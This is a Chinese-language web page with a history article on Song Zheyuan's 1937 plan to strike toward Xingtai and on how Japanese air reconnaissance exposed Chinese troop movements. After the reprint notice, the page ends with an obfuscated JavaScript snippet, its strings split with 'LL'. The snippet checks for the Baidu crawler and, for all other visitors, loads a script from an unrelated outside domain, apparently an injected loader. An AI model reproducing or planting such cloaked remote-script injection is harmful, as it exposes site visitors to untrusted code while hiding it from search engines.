當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

抗戰(zhàn)時(shí)中國軍隊(duì)的秘密奔襲戰(zhàn)為何總被日軍所知

2017-04-28 21:48:57  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:單單講奔襲突襲行動(dòng)的保密性,就已經(jīng)蕩然無存,可以說,中國軍隊(duì)的軍事意圖和行軍路線,盡在日軍的掌握之中。 面對第六戰(zhàn)區(qū)的亂象,蔣中正

單單講奔襲突襲行動(dòng)的保密性,就已經(jīng)蕩然無存,可以說,中國軍隊(duì)的軍事意圖和行軍路線,盡在日軍的掌握之中。

面對第六戰(zhàn)區(qū)的亂象,蔣中正只好再次做了一番人事調(diào)整,他將第六戰(zhàn)區(qū)撤裁,把人馬并入了第一戰(zhàn)區(qū),并派出了參謀總長程潛趕赴河北坐鎮(zhèn),隨后任命程潛為第一戰(zhàn)區(qū)司令長官。得知自己的第一集團(tuán)軍劃歸程潛統(tǒng)帥,宋哲元立即向蔣中正消假請求回軍指揮,1937年10月下旬,宋哲元抵達(dá)在河北大名的第一集團(tuán)軍總司令部,重新出掌兵權(quán)的宋哲元這一次決心要振作精神,有所作為。根據(jù)各方情報(bào),宋哲元會(huì)同將領(lǐng)們對華北整個(gè)戰(zhàn)區(qū)做了一番分析,從1937年10月上旬日軍的大部分從山西北部大舉南下,準(zhǔn)備進(jìn)犯太原,蔣中正立即派遣了幾個(gè)軍的兵力前往馳援,雙方準(zhǔn)備在太原以北的忻口實(shí)施決戰(zhàn),這樣一來,日軍在冀中的兵力相對薄弱,幾乎形成了真空地帶,為此,蔣中正要求宋哲元的部隊(duì)側(cè)擊安陽東北,緩解商震部隊(duì)的壓力,鑒于這個(gè)局面,宋哲元決定采取避實(shí)就虛,圍魏救趙之策。

通過程潛的第一長官部給蔣中正拍發(fā)電報(bào),要求向邢臺(tái)出擊,在支援商震的同時(shí)策應(yīng)山西方面的作戰(zhàn),這個(gè)軍事建議得到了蔣的批準(zhǔn),同時(shí)也得到了第一戰(zhàn)區(qū)司令長官程潛的嘉許,躊躇滿志的宋哲元立即開始實(shí)施作戰(zhàn)部署,他抽調(diào)石友三部一八一師,到大名東南接替七十五軍的防務(wù)。

同時(shí)調(diào)派七十七軍何基豐的一七九師在大名外圍布防,此外,在距離大名五十公里的成安,宋哲元還派遣了李殿林的騎兵旅駐守協(xié)防大名,剩下的大部隊(duì)在劉汝明、黃維綱、劉振三等幾名將領(lǐng)的統(tǒng)御下開始分進(jìn)合擊向邢臺(tái)急進(jìn),宋哲元?jiǎng)t親自統(tǒng)帥馮治安七十七軍的兩個(gè)師直取邢臺(tái),負(fù)責(zé)警戒掩護(hù)的是河北暫編第一師高樹勛部,從當(dāng)時(shí)敵我兵力和軍事形勢判斷,這個(gè)軍事計(jì)劃對于中方還是相當(dāng)有利的,不過不利因素也是顯而易見的。

首先中方剛剛遭遇敗績,官兵疲憊意志消沉,還沒有休整補(bǔ)充,就要打一個(gè)大規(guī)模的奔襲戰(zhàn),無論是物質(zhì)上還是精神上,準(zhǔn)備都不充分,其次也是更為重要的一點(diǎn)是,日軍有絕對的空中優(yōu)勢,飛機(jī)每天都四處偵察,一發(fā)現(xiàn)中國軍隊(duì)就立刻出動(dòng)多架飛機(jī)狂轟掃射,受到損失尚在其次,單單講奔襲突襲行動(dòng)的保密性,就已經(jīng)蕩然無存,可以說,中國軍隊(duì)的軍事意圖和行軍路線,盡在日軍的掌握之中。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}